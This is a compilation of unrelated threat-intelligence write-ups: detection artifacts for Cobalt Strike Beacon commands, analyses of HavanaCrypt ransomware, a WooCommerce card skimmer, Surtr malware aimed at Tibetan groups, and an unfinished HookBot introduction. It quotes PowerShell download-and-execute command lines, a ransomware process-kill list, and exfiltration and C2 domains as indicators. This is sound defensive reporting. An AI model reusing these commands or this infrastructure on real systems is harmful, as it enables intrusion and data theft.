### The `powershell` and `powershell-import` Commands
Both of these commands have a similar aim: to allow the user to execute PowerShell scripts on the target system. The `powershell` Beacon command executes commands written in PowerShell within the Cobalt Strike framework. When a red teamer or an adversary executes a command within a Beacon session, the operating system will generate an EID 400 event log (PowerShell Engine Startup) on the system that the command is executed on. The `powershell-import` Beacon command imports a PowerShell script into the Beacon session. In several WastedLocker ransomware attacks, CrowdStrike Services observed evidence of the network discovery tool PowerView imported by adversaries shortly after establishing a Beacon on a compromised system. The file system artifacts that are generated will vary depending on whether the `powershell` command is executed before or after the `powershell-import` command.
#### Artifacts generated before `powershell-import`
An example of the EID 400 event log generated by the execution of the `powershell` command before a script has been imported with `powershell-import`. The base64 encoded command decodes to `ls`, the command that was executed via the `powershell` command.
**Observations of `powershell` before `powershell-import`:**
- The `HostApplication` field is set to `powershell -nop -exec -bypass -EncodedCommand <base64-encoded-command>`
- The Base64 encoded command decodes to the `<command>` executed
#### Artifacts generated after `powershell-import`
An example of the EID 400 generated on the compromised system after execution of the `powershell` command after a script was imported with `powershell-import`. The base64 encoded command decodes to `IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:22426/'); ls`. The `IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:22426/')` component of the base64 encoded command is how Cobalt Strike manages imported PowerShell scripts within a Beacon session. The rest of the command, after the DownloadString component, is the PowerShell command run by the adversary.
**Observations from `powershell` after `powershell-import`:**
- The `HostApplication` field is set to `powershell -nop -exec -bypass -EncodedCommand <base64-encoded-command>`
- The base64 encoded command decodes to `IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:<ephemeral-port-number>/'); <command>`
### The `powerpick` Command
The `powerpick` Beacon command executes unmanaged PowerShell on a compromised system. It provides a way to execute a PowerShell command without invoking `powershell.exe`. When a red teamer or adversary executes the `powerpick` command through a Beacon session, the filesystem will generate an EID 400 event log (PowerShell Engine Startup) on the compromised system. CrowdStrike observed that the EID 400 event log generated by executing the `powerpick` command will contain a mismatch between the version number in the `HostVersion` and `EngineVersion` event log fields. The event generated will also have the path to the `rundll32.exe` executable in the `HostApplication` field, as it is the default program that a Beacon will use to create a new process.
**Observations of `powerpick`:**
- `HostName` field is set to `ConsoleHost`
- `HostApplication` field is set to the file path of `rundll32.exe`
- The `HostVersion` and `EngineVersion` fields are set to different values
### The `jump psexec` Command
The `jump psexec` Beacon command establishes an additional Beacon on a remote system. When an adversary executes the `jump psexec` command through a Beacon session, the filesystem will generate an EID 7045 event log (Service Installation) on the remote system.
**Observations of `jump psexec`:**
- The Service Name field is set to `<7-alphanumeric-characters>`
- The Service File Name field is set to `\\127.0.0.1\ADMIN$\<7-alphanumeric-characters>.exe`
By default, events generated by the `jump psexec` Beacon command using versions of Cobalt Strike prior to version 4.1 will have the `127.0.0.1` localhost string in the value of the “Service File Name.” Events generated with version 4.1+ of Cobalt Strike will contain the destination computer’s IP address in the “Service File Name” by default.
**Observations of `jump psexec` after version 4.1 of Cobalt Strike:**
- The Service Name field is set to `<7-alphanumeric-characters>`
- The Service File Name field is set to `\\<System-IPAddress>\ADMIN$\<7-alphanumeric-characters>.exe`
### The `jump psexec_psh` Command
The `jump psexec_psh` command establishes an additional Beacon on a remote system via the Windows Service Control Manager. The `jump_psexec` command creates and starts a service that executes a base64 encoded PowerShell Beacon stager, which generates an EID 7045 event log (Service Installation) on the remote system.
**Observations of `jump psexec_psh`:**
- The Service Name field is set to `<7-alphanumeric-characters>`
- The Service File Name field is set to `%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand <base64-encoded-command>`
- The base64 encoded command decodes to a PowerShell stager for a Cobalt Strike Beacon
### The `jump winrm` Command
The `jump winrm` Beacon command establishes a Beacon on a remote system utilizing the Windows Remote Management (WinRM) interface (native on all Windows devices). When the `jump winrm` Beacon command is executed by an adversary through a Beacon session, the filesystem will generate an EID 400 event log (PowerShell Engine Startup) on the compromised system. The event created will contain the Cobalt Strike PowerShell command prefix in the `HostApplication` field.
**Observations of `jump winrm` on the compromised system:**
- The `HostApplication` field is set to `powershell -nop -exec -bypass -EncodedCommand <base64-encoded-command>`
- The base64 encoded command decodes to `IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:<ephemeral-port-number>/')`
If a WinRM listener is not present on the remote system when the `jump winrm` command is executed, Cobalt Strike will create an EID 400 event log on the remote system.
### The `remote-exec wmi` Command
The `remote-exec wmi` Beacon command executes a command on a remote system via WMI. When the `remote-exec wmi` command is executed, the filesystem will generate an EID 400 event log (PowerShell Engine Startup) on the compromised system with the standard Cobalt Strike PowerShell command prefix in the `HostApplication` field.
**Observations of `remote-exec wmi`:**
- The `HostApplication` field is set to `powershell -nop -exec Bypass -EncodedCommand <base64-encoded-command>`
- The base64 encoded command decodes to `Invoke-WMIMethod win32_process -name create -argumentlist '<command>' -ComputerName <target>`
### The `remote-exec powershell` Command
The `remote-exec powershell` Beacon command executes a command on a remote system via PowerShell remoting from a compromised system. When the `remote-exec powershell` command is executed, the filesystem will generate an EID 400 event log (PowerShell Engine Startup) on the compromised system. The event created will contain the standard Cobalt Strike PowerShell command prefix in the `HostApplication` field.
**Observations of `remote-exec powershell`:**
- The `HostApplication` field is set to `powershell -nop -exec Bypass -EncodedCommand <base64-encoded-command>`
- The Base64 encoded command decodes to `Invoke-Command -ComputerName <target> -ScriptBlock { <command> }`
## Conclusions
Although Cobalt Strike provides the operator a degree of freedom to configure some of the previously mentioned commands, those features are not always leveraged by adversaries. Due to the high prevalence of Cobalt Strike in contemporary intrusions, CrowdStrike recommends collecting EID 400 (PowerShell Engine Startup) and EID 7045 event logs (Service Installation) for monitoring and alerting in a centralized security information and event management (SIEM) platform. CrowdStrike also recommends upgrading to the most recent version of PowerShell and disabling previous versions, as PowerShell is backward compatible. While these additional security measures do not provide full visibility into Cobalt Strike activity, they can aid in its detection. |
# Brand-New HavanaCrypt Ransomware Poses as Google Software Update App, Uses Microsoft Hosting Service IP Address as C&C Server
We recently found a new ransomware family, which we have dubbed HavanaCrypt, that disguises itself as a Google Software Update application and uses a Microsoft web hosting service IP address as its command-and-control server to circumvent detection.
Ransomware is not at all novel, but it continues to be one of the top cyberthreats in the world today. In fact, according to data from Trend Micro™ Smart Protection Network™, we detected and blocked more than 4.4 million ransomware threats across email, URL, and file layers in the first quarter of 2022 — a 37% increase in overall ransomware threats from the fourth quarter of 2021.
Ransomware’s pervasiveness is rooted in its being evolutionary: It employs ever-changing tactics and schemes to deceive unwitting victims and successfully infiltrate environments. For example, this year, there have been reports of ransomware being distributed as fake Windows 10, Google Chrome, and Microsoft Exchange updates to fool potential victims into downloading malicious files.
Recently, we found a brand-new ransomware family that employs a similar scheme: It disguises itself as a Google Software Update application and uses a Microsoft web hosting service IP address as its command-and-control (C&C) server to circumvent detection. Our investigation also shows that this ransomware uses the QueueUserWorkItem function, a .NET System.Threading namespace method that queues a method for execution, and the modules of KeePass Password Safe, an open-source password manager, during its file encryption routine.
In this blog entry, we provide an in-depth technical analysis of the infection techniques of this new ransomware family, which we have dubbed HavanaCrypt.
## Arrival
HavanaCrypt arrives as a fake Google Software Update application. This malware is a .NET-compiled application and is protected by Obfuscar, an open-source .NET obfuscator used to help secure codes in a .NET assembly.
The malware also has multiple anti-virtualization techniques that help it avoid dynamic analysis when executed in a virtual machine. To analyze the sample and generate the deobfuscated code, we used tools such as de4dot and DeObfuscar.
Upon execution, HavanaCrypt hides its window by using the ShowWindow function with parameter 0 (SW_HIDE). HavanaCrypt then checks the AutoRun registry to see whether the “GoogleUpdate” registry is present. If the registry is not present, the malware continues with its malicious routine.
### Antivirtualization
HavanaCrypt has four stages of checking whether the infected machine is running in a virtualized environment. First, it checks for services used by virtual machines such as VMWare Tools and vmmouse. Second, it checks for the usual files that are related to virtual machine applications. Third, it checks for file names used by virtual machines for their executables. Last, it checks the machine’s MAC address and compares it to organizationally unique identifier (OUI) prefixes that are typically used by virtual machines.
After verifying that the victim machine is not running in a virtual machine, HavanaCrypt downloads a file named “2.txt” from 20[.]227[.]128[.]33, a Microsoft web hosting service IP address, and saves it as a batch (.bat) file with a file name containing between 20 and 25 random characters. It then proceeds to execute the batch file using cmd.exe with a “/c start” parameter. The batch file contains commands that are used to configure Windows Defender scan preferences to allow any detected threat in the “%Windows%” and “%User%” directories.
HavanaCrypt also terminates certain processes that are found running in the machine, including:
- agntsvc
- axlbridge
- ccevtmgr
- ccsetmgr
- contoso1
- culserver
- culture
- dbeng50
- dbeng8
- dbsnmp
- dbsrv12
- defwatch
- encsvc
- excel
- fdlauncher
- firefoxconfig
- httpd
- infopath
- isqlplussvc
- msaccess
- msdtc
- msdtsrvr
- msftesql
- msmdsrv
- mspub
- mssql
- mssqlserver
- mydesktopqos
- mydesktopservice
- mysqld
- mysqld-nt
- mysqld-opt
- ocautoupds
- ocomm
- ocssd
- onenote
- oracle
- outlook
- powerpnt
- qbcfmonitorservice
- qbdbmgr
- qbidpservice
- qbupdate
- qbw32
- quickbooks.fcs
- ragui
- rtvscan
- savroam
- sqbcoreservice
- sqladhlp
- sqlagent
- sqlbrowser
- sqlserv
- sqlserveragent
- sqlservr
- sqlwriter
- steam
- supervise
- synctime
- tbirdconfig
- thebat
- thebat64
- thunderbird
- tomcat6
- vds
- visio
- vmware-converter
- vmware-usbarbitator64
- winword
- word
- wordpad
- wrapper
- wxserver
- wxserverview
- xfssvccon
- zhudongfangyu
- zhundongfangyu
It should be noted that this list includes processes that are part of database-related applications, such as Microsoft SQL Server and MySQL. Desktop apps such as Microsoft Office and Steam are also terminated.
After it terminates all relevant processes, HavanaCrypt queries all available disk drives and proceeds to delete the shadow copies and resize the maximum amount of storage space to 401 MB. It also checks for system restore instances via Windows Management Instrumentation (WMI) and proceeds to delete them by using the SRRemoveRestorePoint function. It then drops copies of itself in the %ProgramData% and %StartUp% folders in the form of executable (.exe) files with different file names containing between 10 and 15 random characters. Their attributes are then set to “Hidden” and “System File.”
HavanaCrypt also drops a file named “vallo.bat” onto %User Startup%, which contains functions that can disable the Task Manager.
### Gathering of machine information
HavanaCrypt uses the QueueUserWorkItem function to implement thread pooling for its other payloads and encryption threads. It also uses the DebuggerStepThrough attribute, which causes it to step through the code during debugging instead of stepping into it. This attribute must be removed before one can analyze the function inside.
Before it proceeds with its encryption routine, HavanaCrypt gathers certain pieces of information and sends them to its C&C server, 20[.]227[.]128[.]33/index.php. These are the unique identifier (UID) and the token and date.
The UID contains the machine’s system fingerprint. HavanaCrypt gathers pieces of machine information and combines them, by appending one to another, before converting the information into its SHA-256 hash in the format:
```
[{Number of Cores}{ProcessorID}{Name}{SocketDesignation}] BIOS Information [{Manufacturer}{BIOS Name}{Version}] Baseboard Information [{Name}]
```
The pieces of machine information that HavanaCrypt gathers include:
- The number of processor cores
- The processor ID
- The processor name
- The socket designation
- The motherboard manufacturer
- The motherboard name
- The BIOS version
- The product number
HavanaCrypt replaces the string “index.php” with “ham.php” to send a GET request to its C&C server using “Havana/1.0” as the user agent. HavanaCrypt decodes the response from ham.php in Base64 and decrypts it via the AES decryption algorithm using specific parameters. HavanaCrypt then stores the output in two different arrays with “–” as their delimiter. The first array is used as the token, while the second is used as the date.
After gathering all the necessary machine information, HavanaCrypt sends it via a POST request to hxxp://20[.]227[.]128[.]33/index.php using “Havana/1.0” as the user agent. If the request is successful, HavanaCrypt receives a response that contains the encryption key, the secret key, and other details.
HavanaCrypt checks whether hava.info is already present in “%AppDataLocal%/Google/Google Software Update/1.0.0.0”. If it does not find the file, it drops the hava.info file, which contains the RSA key generated by HavanaCrypt using the RSACryptoServiceProvider function.
### Encryption routine
We have observed that HavanaCrypt uses KeePass Password Safe modules during its encryption routine. In particular, it uses the CryptoRandom function to generate random keys needed for encryption. The similarity between the function used by HavanaCrypt and the KeePass Password Safe module from GitHub is evident.
HavanaCrypt encrypts files and appends “.Havana” as a file name extension. It avoids encrypting files with certain extensions, including files that already have the appended “.Havana” extension. HavanaCrypt also avoids encrypting files found in certain directories. During encryption, HavanaCrypt creates a text file called “foo.txt”, which logs all the directories containing the encrypted files.
## Conclusion and Trend Micro solutions
The HavanaCrypt ransomware’s disguising itself as a Google Software Update application is meant to trick potential victims into executing the malicious binary. The malware also implements many antivirtualization techniques by checking for processes, files, and services related to virtual machine applications.
It is uncommon for ransomware to use a C&C server that is part of Microsoft web hosting services and is possibly used as a web hosting service to avoid detection. Aside from its unusual C&C server, HavanaCrypt also uses KeePass Password Safe’s legitimate modules during its encryption phase.
It is highly possible that the ransomware’s author is planning to communicate via the Tor browser, because Tor’s is among the directories that it avoids encrypting files in. It should be noted that HavanaCrypt also encrypts the text file foo.txt and does not drop a ransom note. This might be an indication that HavanaCrypt is still in its development phase. Nevertheless, it is important to detect and block it before it evolves further and does even more damage.
Organizations and users can benefit from having the following multilayered defense solutions that can detect ransomware threats before operators can launch their attacks:
- Trend Micro Vision One™ provides multilayered protection and behavior detection, which helps block questionable behavior and tools early on, before the ransomware can do irreversible damage to the system.
- Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.
### Indicators of compromise
**Files**
| SHA-256 | Detection name | Description |
|--------------------------------------------------------------------------------------------|--------------------------------------------------|--------------------------------------|
| b37761715d5a2405a3fa75abccaf6bb15b7298673aaad91a158725be3c518a87 | Ransom.MSIL.HAVANACRYPT.THFACBB | Obfuscated HAVANACRYPT ransomware |
| bf58fe4f2c96061b8b01e0f077e0e891871ff22cf2bc4972adfa51b098abb8e0 | Ransom.MSIL.HAVANACRYPT.THFACBB | Deobfuscated HAVANACRYPT ransomware |
| aa75211344aa7f86d7d0fad87868e36b33db1c46958b5aa8f26abefbad30ba17 | Ransom.MSIL.HAVANACRYPT.THFBABB | Deobfuscated HAVANACRYPT ransomware |
**URLs**
- http://20[.]227[.]128[.]33/2.txt
- http://20[.]227[.]128[.]33/index.php
- http://20[.]227[.]128[.]33/ham.php |
# Woocommerce Credit Card Skimmer
Recently, a client’s customers were receiving a warning from their anti-virus software when they navigated to the checkout page of the client’s ecommerce website. Antivirus software such as Kaspersky and ESET would issue a warning but only once a product had been added to the cart and a customer was about to enter their payment information. This is, of course, a tell-tale sign that there is something seriously wrong with the website and likely a case of credit card exfiltration.
Checking the source code of the website showed that there was clearly some dodgy javascript code on their checkout.
## Google Tag Manager Scripts
At first glance, it appears to be a Google Tag Manager script (a popular service used on many websites). In the past, we have seen how Google Tag Manager’s script can be used to hide malicious content. Could this be the same? Attackers commonly place code in a way that makes it look legitimate and innocent. Sometimes they even abuse GTM itself to surreptitiously exfiltrate credit card details, making it impossible to identify without using traffic inspection software or confirming which GTM scripts belong and which ones the site owner doesn’t recognize.
A regular googletagmanager script call does not include any obfuscation, base64 encoded content, or concatenation. However, we see a little bit of base64 encoded content here that decodes to the following: The domain a42[.]buzz has been blocklisted by us since January, so this clearly indicates that this is malicious in nature and we’ll need to find how it’s loading.
## How to Find the Malware
In the above example, our initial scans did not pick up anything. Remember: it’s the attacker’s job to evade detection, so they are writing new malware all the time. In this case, querying the files and database for “Google Tag Manager” or “atob(” (atob is the javascript instruction to decode base64 encoded strings and is common on javascript injections) also returned nothing.
### Checking Recently Modified Files
One of the first things that we will do in such a compromise is to check for recently modified files. Sometimes it can take a surprisingly long time for a compromise to be identified, so I will typically start with files modified in the last few months. If nothing is found, then I will go as far back as six months or a year.
You might wonder how someone would check all those files! It seems overwhelming at first, but you can remove a lot of noise by parsing out all of the obvious plugin and theme updates. They will appear in batches with a very similar (if not identical) last modified date. It’s not a perfect method but proves to be useful in some cases. What you are left with is (hopefully) a small handful of files that were modified at very different times and dates.
Attackers will often spoof the last modified date on a file to make it appear as though it hasn’t been touched in years, but these files should still show up when running an SSH command such as mtime. If you are not familiar with the SSH shell, you can also spot check recently modified files through FTP with a program like Filezilla, but this is significantly more cumbersome, not as reliable, and you will be relying on those last modified timestamps that I just mentioned. Attacks can sometimes even go unnoticed for multiple years before the website owner is made aware that their environment is compromised.
Even after checking many recently modified files, we were left empty-handed.
### Checking the Database
So where was this hiding? It turned out to be hiding in plain sight in the database. Base64 encoding is one of the most popular encoding techniques that attackers will employ to hide their payloads, and that is exactly what they were doing here. It’s unclear whether or not this was a deliberate attempt by the attackers to evade detection or if this is simply the way that the plugin/theme stores its data (resulting in a happy accident for the attackers). In any event, it created some additional steps for us to locate the malware.
### Encoding Base64
The way that we were able to find it eventually (big ups to @liamsmith86 for the assist here) was by base64 encoding `<!– Google Tag Manager –>` and querying some of the strings. The full encoded string is: `PCEtLSBHb29nbGUgVGFnIE1hbmFnZXIgLS0+` and we queried the database for a few snippets of that until we found it lodged on the checkout page.
## Analysis of a Woocommerce Credit Card Swiper
Step one, of course, is to decode the base64 chunk, resulting in this (what we saw loading on checkout earlier): Taken at face value, it appears to be GTM but of course this is bogus. When decoding that base64 string, this is precisely the same code that we found in the source code earlier. Here we see some javascript loading from a domain that we have been blocklisting since January of this year. Now let’s take a look at what’s actually in that javascript! Navigating to the payload on the malicious website, we find the following:
We can see that the payload is under yet another layer of obfuscation. Using a free online tool, we can “unpack” this packed javascript to find the main, deobfuscated credit card swiper. Here is a snippet:
At the top there, we can clearly see two more malicious domains referenced. We have seen these domains used for credit card exfiltration in the past and originally found them in October of last year on an OpenCart website. Over the last few years, we have seen an increasing trend of the same credit card swiping malware and exfiltration domains used across different CMS platforms.
## Looking at Malicious Domains
Let’s break down these domains a little bit to see if we can understand them a bit better:
- **a42[.]buzz**
- Registrar: Porkbun
- Creation Date: 2020-09-16
- IP: 5.188.62.36
- Hosting provider: Petersburg Internet Network Hosting
- Hosted in: Russian Federation
All the other domains on this IP are also malicious and contain the same malicious script:
- zerr[.]club
- badger[.]uno
- commv[.]club
- 9gag[.]uno
- 8words[.]xyz
- 64bitss[.]club
- 221u7[.]cyou
- 114oo[.]icu
- 5x5x5[.]cyou
- 404p[.]icu
The next domain found in the payload:
- **googleanalytics[.]icu**
- Registrar: Porkbun
- Creation Date: 2020-07-09
- IP: 103.73.67.186
- Hosting provider: HostHatch
- Hosted in: Hong Kong
Again, all the other domains here are malicious and contain that malicious javascript:
- sxjump[.]uno
- sxfnc[.]uno
- sxint[.]uno
- sxgear[.]uno
- sxhit[.]uno
- sxbet[.]uno
- sxerr[.]uno
- sxamp[.]uno
- sxdmp[.]uno
- sxcad[.]uno
And finally:
- **shopstatanalytics[.]store**
- Registrar: NameCheap
- Creation Date: 2020-07-08
- IP: 176.123.3.85
- Hosting provider: Alexhost Srl
- Hosted in: Moldova
Same story with this server:
- sygna[.]club
- syidim[.]club
- syjet[.]club
- syhire[.]club
- syfer[.]club
- sydne[.]club
- syamoto[.]club
- syberian[.]club
- sycamor[.]club
- syenna[.]club
It’s interesting to see a little bit more information and context to the domains being used to exfiltrate credit card details of unsuspecting customers.
## How the Credit Card Swiper Got into the Website
Without going down the forensics rabbit hole, there’s no way to know for certain. However, I have a pretty good guess that this was the result of a compromised wp-admin account. Once the attackers find their way into the wp-admin panel, they can really do whatever they want:
1. Place malicious javascript code in the posts/pages/widgets
2. Modify a file to be a backdoor and easily upload their payload
3. Use a file manager plugin to upload a backdoor or more malware
4. Post spam or other unwanted material
5. Anything else you can imagine they’d want to do
## How to Prevent Hacks
At risk of sounding like a broken record, I would urge any WordPress site owners out there to take their website security seriously. The most straightforward thing that you can do is to place some additional protections on your wp-admin panel using a security plugin of your choice. Some options for that include:
1. Two-factor authentication
2. IP access restrictions
3. CAPTCHA
4. A limit on the number of failed authentications before lockout
5. All of the above!
Of course, this makes it a little bit more inconvenient to administer your website, but the potential repercussions of a site compromise are devastating and the benefits far outweigh the annoyance of entering an additional code when logging in. Our firewall is a great tool to help secure your wp-admin area (or other admin areas if you are using a different CMS other than WordPress). It’s also a good idea to keep close tabs on the activity of your admin area, which you can do with our WordPress plugin:
**Sucuri Security Free WordPress Plugin** – Auditing, Malware Scanner and Security Hardening
This can help you detect suspicious activity on your website and learn a little bit more about the threat actors' behavior in the event that you do get compromised. Remember: don’t install every security plugin under the sun thinking you will be more protected. This is much like installing multiple antivirus programs on a computer: They’re usually trying to do similar things at the same time and “wires get crossed,” so to speak. In a WordPress environment, this is a recipe for locking you out of your own website.
Of course, the best way to prevent a compromise in the first place is to become a customer of ours! |
# Surtr Malware Family Targeting the Tibetan Community
**August 2, 2013**
**By Katie Kleemola and Seth Hardy**
## Background
As part of our ongoing study into targeted attacks on human rights groups and civil society organizations, the Citizen Lab analyzed a malicious email sent to Tibetan organizations in June 2013. The email purported to be from a prominent member of the Tibetan community and repurposed content from a community mailing list. Attached to the email were what appeared to be three Microsoft Word documents (.doc), but which were trojaned with a malware family we call “Surtr.” All three attachments drop the exact same malware. We have seen the Surtr malware family used in attacks on Tibetan groups dating back to November 2012.
## Delivery Mechanism
While the malicious attachments appear to be DOC files due to their file extension, they are actually RTFs crafted to exploit a vulnerability in Microsoft Word: CVE-2012-0158. This particular vulnerability was first exploited in early April 2012, and a patch was released by Microsoft on April 10, 2012. Currently, the sample is detected as malicious by 34 percent of antivirus (AV) engines on VirusTotal (VT).
Although CVE-2012-0158 was first published and used in the wild in April 2012, samples using this template were only initially detected by three AV engines (on VT). Therefore, while a third of AV engines had a detection signature for CVE-2012-0158 as late as April 2013, it was possible to design a document using a year-old vulnerability that was recognized as malicious by very few AV products. This number has since risen, and it is currently being detected by 34 percent of the AV products listed on VT. This vulnerability highlights the need to keep both operating systems and applications up to date as well as to exercise vigilance concerning links and email attachments.
Malicious attachments with this template all use a similar dropper which originally drops the payload to the temporary file directory.
## Payload
Surtr creates either a new explorer or iexplore process and injects itself into this new process using the CreateRemoteThread function. It also creates the following folders:
- %ALL USERS%/Application Data/Microsoft/Windows/123
- %ALL USERS%/Application Data/Microsoft/Windows/Burn
- %ALL USERS%/Application Data/Microsoft/Windows/LiveUpdata_Mem
It creates multiple copies of the payload including in both the Burn and LiveUpdata_Mem folders. The copy in the Burn folder is called [VICTIM COMPUTER NAME].dll, and there are three copies in the LiveUpdata_Mem folder whose names consist of 6 random alphanumeric characters which are then appended with .dll, _Fra.dll, and _One.dll. These copies will differ from the original payload dropped in the %TEMP% folder by filling the resource section with varying amounts of 00 bytes. This also results in the malware having a much larger file size (30-50mb), possibly in an attempt to evade antivirus heuristics.
Surtr connects to a command and control server (C2) and downloads a stage two component to %ALL USERS%/Application Data/Microsoft/Windows/Burn/_[VICTIM COMPUTER NAME].log. This particular sample connects to internet.3-a.net on port 9696. In May 2012, internet.3-a.net resolved to the same IP (184.82.123.143) as android.uyghur.dnsd.me, which is a C2 used in Android malware attacks that targeted the Tibetan community as previously documented by the Citizen Lab.
The stage two component that was downloaded in this particular case has an internal name of x86_GmRemote.dll; however, we have seen an alternate stage two used with the name Remote.dll as well. Our analysis in this post focuses on the GmRemote variation as it has been seen in multiple attacks.
Surtr’s capabilities include listing of file directories and contents on the victim computer and any USB drives connected to a victim machine, viewing web cache, executing remote commands, and logging keystrokes.
In order to store temporary information, Surtr creates the following folders:
- %ALL USERS%/Application Data/Microsoft/Windows/MpCache
- %ALL USERS%/Application Data/Microsoft/Windows/nView_DiskLoydb
- %ALL USERS%/Application Data/Microsoft/Windows/nView_KeyLoydb
- %ALL USERS%/Application Data/Microsoft/Windows/nView_skins
- %ALL USERS%/Application Data/Microsoft/Windows/UsbLoydb
For example, in nView_DiskLoydb, a file called FileList.db that contains file and directory listings will be placed, and nView_KeyLoydb will contain text files with keylogger output. The keylogger output is disguised by adding a constant to the ordinal value of the character. This data can then be sent to the C2. It is compressed using zlib DEFLATE so the network traffic is not human-readable without decompression.
It can also download additional malware onto the victim computer, which can provide attackers with further abilities like accessing the victim computer’s webcam or microphone. In particular, we have seen Surtr used in conjunction with the Gh0st RAT derived LURK0 malware.
For persistency, Surtr adds a key to the registry to ensure it runs when the infected computer is restarted. It also stores its C2 information and a campaign code in the registry.
## Other Samples & Variations
We have seen a large number of similar samples sent to Tibetan groups that use the same stage two (GmRemote) and communicate with the following C2s: dtl.dnsd.me, dtl.eatuo.com, dtl6.mooo.com, and tbwm.wlyf.org. These C2s were also used in previous attacks documented in an earlier Citizen Lab post on LURK0 malware targeting the Tibetan community.
One particular sample (md5: ad9e5f79585eb62bc40b737e98bfd62e) which connects to C2 domain dtl6.mooo.com (which resolved to the same IP as the other dtl domains mentioned above) on port 6178 was seen to download LURK0 malware after the initial Surtr infection. This LURK0 sample had the campaign code ZQ6 that connects to C2 domain tbwm.wlyf.org on port 3103. This domain also resolved to the same IP as the dtl domains.
We have also found reports of other Surtr stage 2 (GmRemote) samples that have campaign codes which suggest they may be targeted at commercial and government targets. The first sample was found via ThreatExpert. It uses campaign code kmlg-0308 and connects to a C2 at flyoutside.com. This domain and eight others are registered to [email protected]:
- flyoutside.com 67.198.227.162
- 52showfly.com 112.121.169.189
- mydreamfly.com 112.121.186.60
- dreaminshy.com 119.42.147.101
- 52flyfeel.com 119.42.147.101
- eyesfeel.com 180.178.63.10 (now registered to [email protected])
- outsidefly.com 74.55.57.85
- showflyfeel.com 199.119.101.40
- 51aspirin.com not resolving
Searching for more samples in Virus Total Intelligence (VTI) using domains and other identifying features reveals four related files:
- 7fbdd7cb8b46291e944fcecd5f97d135 – connects to C2 domain www.flyoutside.com, campaign code kmlg-0409tb
- 58ff38412ebbedb611a3afe4b3dbd8b0 – connects to C2 IP 112.121.182.149 (similar to above), campaign code lly-0311
- 1bc8974967e1c911b107a9a91e3178b – connects to C2 domain www.paulfrank166.2waky.com (192.198.85.102), campaign code 0201-2116
- 44758b9a7a6cafd1b8d1bd4c773a2577 – connects to C2 domain www.flyoutside.com (same as the first sample found on ThreatExpert), campaign code lg-0109
Most of these samples have campaign codes that suggest commercial targets. However, we do not have information about where these samples were submitted from, so the target sector and victims cannot be confirmed.
A second GmRemote sample was found via the web, called Trojan/Subxe.89E1 by Anchiva. This sample connects to google.djkcc.com and uses campaign code in1102. Other subdomains under djkcc.com include:
- airforce.djkcc.com
- domain.djkcc.com
- google.djkcc.com
- indianembassy.djkcc.com
- mailnic.djkcc.com (MailNIC is an Indian email site at the National Informatics Centre)
- microsoft.djkcc.com
- rediffmail.djkcc.com (Rediffmail is an Indian email site)
While we do not have information about what victims these samples target, the campaign code, C2 domain, and related subdomains give some possible indications.
One additional find via VTI is a GmRemote sample internally named: GmKeyBoradServer_DLL.dll (MD5 e7e1c69496ad7cf093945d3380a2c6f4). It exports functions (GmFunctionType, GmInitPoint, GmMyInitPoint, GmRecvPoint, GmShutPoint, GmVerSion) that are referenced in other GmRemote samples, although none of them have any real content. These additional samples suggest that Surtr is being used to target groups beyond the Tibetan community and is possibly being utilized by multiple threat actors.
## Conclusions and Recommendations
The attacks we have observed that use the Surtr malware family are another example of the persistent targeted malware campaigns the Tibetan community faces. The specific attack reported in this post demonstrates that attackers are actively monitoring mailing lists and discussion groups used by the Tibetan community and repurpose the content for use in targeted malware attacks.
For communities under persistent threat from targeted malware campaigns, user vigilance and education are essential for reducing risk. Users should carefully examine the sender’s email address of emails and exercise caution in opening unexpected or unsolicited attachments or opening unverified links.
The Citizen Lab is continuing to monitor targeted malware campaigns using Surtr and will post updates as they are available.
## Appendix MD5’s & Identifiers
**Email Attachment Names & MD5s:**
1. TCCC PRESIDENT & BOARD MEMBERS NOMINATION & ELECTION POLICY & PROCEDURE.doc – 8c06aec37c7e51f581aaa41f66d4ebad
2. communication1.doc – 28444ee593653a4816deb186a6eddee8
3. communication2.doc – c269b3cf3d336a40c2fd7c2111b52982
**Stage 1**
- Section: .text
MD5 hash: d4f9b3b573a8f1d70d58aa8daf9cb256
SHA-1 hash: a1d5128cd50959bc7008be1fdfe2cf6339ed7098
SHA-256 hash: aef9f55931d054dbf027639e30d0abf587696b13d8993aab6c22eb7d47f0de83
- Section: .rdata
MD5 hash: e130ff2adbf4515b1af88b451396e1f6
SHA-1 hash: 248691810ae34407aa3486ef3faca6fe3286f630
SHA-256 hash: adae7b2306d7fc145ebd90fd1147bc352c56937d58e1996b89d5368cebdb438d
- Section: .data
MD5 hash: c4fc864da3ee8462c5c25054f00e703f
SHA-1 hash: b28a02f68cbacdaa89cf274dc79b3c802a21599d
SHA-256 hash: 203ca80897fd63ca3fc55ec4be22cd302d5d81729ee8f347bd8f22c73ad1b61d
- Section: .reloc
MD5 hash: bc2c349c1f4c338c6834a79c03c461fb
SHA-1 hash: c71504a96ea72656ef826677a53f9a5230fcb049
The hashes of the resource section vary based on how much it is padded.
**Notable Strings:**
- cScCssvdcfhgshtj
- CrtRunTime.log
- aCvVpR
- _One.dll
- _Fra.dll
- asasdasrqwfsdvctyqwm
- efskdfjaslkfjlaksd
- dksfjasdklfjasd
- casfjaklsdjfaskdlf
- bakjfasdkljfkldfjaslkd
- adskjfksldjfklsad
- soul
- LiveUpdata_Mem\
- Burn\
**Stage 2 (downloaded component)**
MD5: 21aa9dd44738d5bf9d8a8ecf53c3108c
**Notable Strings:**
- x86_GmRemote.dll
- Mark
- D:\Project\GTProject\Public\List\ListManager.cpp
**Footnote**
1 Surtr is a fire giant in Norse Mythology. We chose Surtr as this malware family’s namesake because the malware creates a folder named ‘Burn’. |
# HOOKBOT – a new mobile malware
Surveys show that more than 90% of the population now owns a mobile phone, with smartphones running the Android operating system being the most popular. Criminals know this and are eager to exploit this fact to steal sensitive user data, which can ultimately be used for financial gain. An example of this is the mobile malware known as HookBot, which was discovered in January 2023.
It all started with the identification of an advertisement claiming to sell a new mobile malware. Analysis showed that the author of the post was already responsible for other well-known malware families - BlackRock and ERMAC - which were active in Polish cyberspace and caused losses to Polish bank customers. In view of the above, the KNF CSIRT team took action, acquired an application belonging to the new malware family, and performed its analysis. Below is a brief description of the scope of the HookBot malware.
